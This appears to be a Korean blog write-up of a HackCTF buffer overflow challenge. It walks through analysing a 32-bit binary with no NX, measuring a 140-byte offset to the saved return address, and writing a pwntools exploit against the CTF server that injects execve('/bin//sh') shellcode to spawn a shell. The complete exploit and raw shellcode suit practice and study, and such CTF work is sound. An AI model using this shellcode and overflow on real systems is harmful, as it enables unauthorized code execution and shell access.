문제 바이너리를 실행시키면 다음과 같이 입력을 받고, 입력값이 저장된 주소(추측)와 입력값을 출력해주는 것을 확인할 수 있다. y를 입력받으면 다시 입력받고, n을 입력하면 프로그램이 종료된다.
file 명령어로 확인해보면 32비트 리눅스 실행파일임을 확인할 수 있다.
peda에서 checksec 명령으로 적용된 보호기법을 확인해보면 다음과 같다.
NX보호기법도 적용되어 있지 않아서 쉘 코드를 삽입할 수 있을 것 같다.
info func 명령으로 함수 목록을 보면 다음과 같다.
main함수 말고는 따로 작성된 함수는 없는것 같다.
main 함수의 어셈 코드를 보면 다음과 같다.
main+83의 위치에서 scanf 함수로 입력값을 받는 것 같다.
scanf 함수가 실행된 이후인 main+88에 bp를 걸고 실행하여 입력하고 esp레지스터를 확인하면 다음과 같다.
내가 입력한 "AAAAA"는 0xffffd040에 저장되는것을 확인할 수 있다.
그리고 info frame 명령으로 eip에 저장된 값을 확인하면 다음과 같다. eip레지스터는 cpu가 다음 실행할 코드의 주소를 저장하고 있다.
eip가 저장하고 있는 값은 0xf7df4f21이고, 이 주소값은 위 esp레지스터에서 찾아보면 0xffffd0cc에 있다.
0xfffd0cc(다음 실행할 주소)와 0xffffd040(입력된 값이 저장되는 위치)는 10진수로 140만큼 차이가 난다.
따라서 입력값으로 쉘코드를 넣고, 더미값으로 140을 채운 후 입력값이 저장되는 주소를 넣으면 쉘 코드가 실행되어 쉘을 딸 수 있을 것 같다. 입력값이 저장되는 주소는 프로그램을 실행하고 값을 입력하면 주소를 출력해주기 때문에 익스 코드에서는 한번은 임의의 값을 입력하여 입력값이 저장되는 주소를 알아내고, 이후에 쉘 코드를 입력하여 쉘을 실행하도록 할 것이다. 다음과 같이 익스코드를 작성하면 쉘을 딸 수 있다. 쉘코드는 25바이트 리눅스 32비트 쉘코드를 사용하였다.
from pwn import *
p = remote("ctf.j0n9hyun.xyz", 3006)
p.recvuntil('Data : ')
p.sendline('test')
addr = int(p.recv(10),16)
p.recvuntil('Again (y/n): ')
p.sendline('y')
p.recvuntil('Data : ')
shell = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80'
pay = shell + 'A'*115 + p32(addr)
p.sendline(pay)
p.interactive()
'Security & Hacking > Wargame' 카테고리의 다른 글
[LoS] golem (0) | 2021.05.19 |
---|---|
[HackCTF] Offset (0) | 2021.05.13 |
[Hack CTF] x64 Simple_size_BOF (0) | 2021.04.25 |
[Hack CTF] x64 Buffer Overflow (0) | 2021.04.23 |
[LoS] skeleton (0) | 2020.11.10 |